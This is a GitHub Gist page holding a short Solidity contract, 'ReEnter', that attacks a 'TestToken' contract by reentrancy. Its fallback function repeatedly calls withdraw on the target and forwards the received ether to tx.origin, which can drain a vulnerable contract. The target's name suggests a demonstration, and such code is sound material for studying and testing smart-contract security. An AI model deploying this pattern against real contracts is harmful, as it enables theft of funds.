-
-
Save maurelian/cadc215a9acce19b9cafd644ec69f27e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract ReEnter { | |
TestToken tt; | |
function ReEnter(address _target){ | |
tt = TestToken(_target); | |
} | |
function deposit() payable { | |
tt.deposit.value(msg.value)(); | |
} | |
function withdraw() { | |
tt.withdraw(50000000000000000); | |
} | |
function() payable { | |
tt.withdraw(50000000000000000); | |
tx.origin.send(msg.value); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment